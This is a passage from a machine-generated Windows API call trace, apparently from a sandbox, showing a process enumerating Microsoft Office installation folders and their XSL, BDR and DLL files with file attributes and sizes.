dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.947] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x176dc2d0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x176dc2d0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x176dc2d0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTHOR.XSL", cAlternateFileName="")) returned 1 [0282.947] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17728794, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17728794, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17728794, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8a54, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAG.XSL", cAlternateFileName="")) returned 1 [0282.947] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17774bfd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17774bfd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17774bfd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8c3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="TITLE.XSL", cAlternateFileName="")) returned 1 [0282.947] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x176dc2d0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x176dc2d0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x176dc2d0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8bee, dwReserved0=0x0, dwReserved1=0x0, cFileName="YEAR.XSL", cAlternateFileName="")) returned 1 [0282.948] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x176dc2d0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x176dc2d0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x176dc2d0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8bee, dwReserved0=0x0, dwReserved1=0x0, cFileName="YEAR.XSL", cAlternateFileName="")) returned 0 [0282.948] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0282.948] GetProcessHeap () returned 0xaf0000 [0282.948] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0282.948] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 1 [0282.948] GetProcessHeap () returned 0xaf0000 [0282.948] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0282.948] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0282.951] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.952] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2f769a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x51722, dwReserved0=0x0, dwReserved1=0x0, cFileName="APASixthEditionOfficeOnline.xsl", cAlternateFileName="APASIX~1.XSL")) returned 1 [0282.952] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3c47588, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48839, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHICAGO.XSL", cAlternateFileName="")) returned 1 [0282.952] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3d0601b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4197e, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB.XSL", cAlternateFileName="")) returned 1 [0282.952] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2d1454c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d1454c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2d86b0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e966, dwReserved0=0x0, dwReserved1=0x0, cFileName="GostName.XSL", cAlternateFileName="")) returned 1 [0282.952] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2bbceb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2bbceb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2d86b0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3d639, dwReserved0=0x0, dwReserved1=0x0, cFileName="GostTitle.XSL", cAlternateFileName="GOSTTI~1.XSL")) returned 1 [0282.952] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3c47588, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x45882, dwReserved0=0x0, dwReserved1=0x0, cFileName="HarvardAnglia2008OfficeOnline.xsl", cAlternateFileName="HARVAR~1.XSL")) returned 1 [0282.952] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2d1454c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d1454c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2d86b0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x47e7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEEE2006OfficeOnline.xsl", cAlternateFileName="IEEE20~1.XSL")) returned 1 [0282.952] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2bbceb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2bbceb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2d86b0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x42132, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISO690.XSL", cAlternateFileName="")) returned 1 [0282.953] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2ad8211, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2d86b0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x351ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISO690Nmerical.XSL", cAlternateFileName="ISO690~1.XSL")) returned 1 [0282.953] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2ad8211, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2d86b0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e4f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MLASeventhEditionOfficeOnline.xsl", cAlternateFileName="MLASEV~1.XSL")) returned 1 [0282.953] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc38b3c05, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3aa3bf5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIST02.XSL", cAlternateFileName="")) returned 1 [0282.953] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc3bd4d47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc3bd4d47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x54256, dwReserved0=0x0, dwReserved1=0x0, cFileName="TURABIAN.XSL", cAlternateFileName="")) returned 1 [0282.953] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc3bd4d47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc3bd4d47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x54256, dwReserved0=0x0, dwReserved1=0x0, cFileName="TURABIAN.XSL", cAlternateFileName="")) returned 0 [0282.953] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0282.955] GetProcessHeap () returned 0xaf0000 [0282.955] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0282.955] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 0 [0282.955] FindClose (in: hFindFile=0xb03148 | out: hFindFile=0xb03148) returned 1 [0282.955] GetProcessHeap () returned 0xaf0000 [0282.955] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0282.956] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17774bfd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17774bfd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BORDERS", cAlternateFileName="")) returned 1 [0282.956] GetProcessHeap () returned 0xaf0000 [0282.957] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0282.957] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17774bfd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17774bfd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0282.959] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17774bfd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17774bfd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.959] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17728794, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17728794, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17728794, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7df6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART1.BDR", cAlternateFileName="")) returned 1 [0282.959] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17728794, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17728794, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17728794, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x244c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART10.BDR", cAlternateFileName="")) returned 1 [0282.960] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17728794, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17728794, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17728794, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x78c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART11.BDR", cAlternateFileName="")) returned 1 [0282.960] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17728794, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17728794, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17728794, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe584, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART12.BDR", cAlternateFileName="")) returned 1 [0282.960] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17774bfd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17774bfd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1780d5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART13.BDR", cAlternateFileName="")) returned 1 [0282.960] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1770252c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1770252c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1770252c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc8bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART14.BDR", cAlternateFileName="")) returned 1 [0282.960] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1770252c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1770252c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1770252c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6b14, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART15.BDR", cAlternateFileName="")) returned 1 [0282.960] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1770252c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1770252c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1770252c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb854, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART2.BDR", cAlternateFileName="")) returned 1 [0282.960] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1770252c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1770252c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17728794, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe12e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART3.BDR", cAlternateFileName="")) returned 1 [0282.960] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1770252c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1770252c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17728794, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3902, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART4.BDR", cAlternateFileName="")) returned 1 [0282.960] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17774bfd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17774bfd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1780d5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3dac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART5.BDR", cAlternateFileName="")) returned 1 [0282.961] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1774e9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1774e9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1774e9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd7b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART6.BDR", cAlternateFileName="")) returned 1 [0282.961] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1774e9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1774e9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1774e9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART7.BDR", cAlternateFileName="")) returned 1 [0282.961] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17728794, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17728794, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17728794, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbfca, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART8.BDR", cAlternateFileName="")) returned 1 [0282.961] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17728794, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17728794, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17728794, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc696, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART9.BDR", cAlternateFileName="")) returned 1 [0282.961] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17728794, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17728794, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17728794, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc696, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART9.BDR", cAlternateFileName="")) returned 0 [0282.961] FindClose (in: hFindFile=0xb03148 | out: hFindFile=0xb03148) returned 1 [0282.962] GetProcessHeap () returned 0xaf0000 [0282.962] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0282.962] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cf4318, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xf7e60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BSTORM.DLL", cAlternateFileName="")) returned 1 [0282.963] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834d1316, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="C2R64.dll", cAlternateFileName="")) returned 1 [0282.963] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2f507b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2f507b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc31d8fc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaf4258, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CHART.DLL", cAlternateFileName="")) returned 1 [0282.963] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe206bc31, ftCreationTime.dwHighDateTime=0x1d327e7, 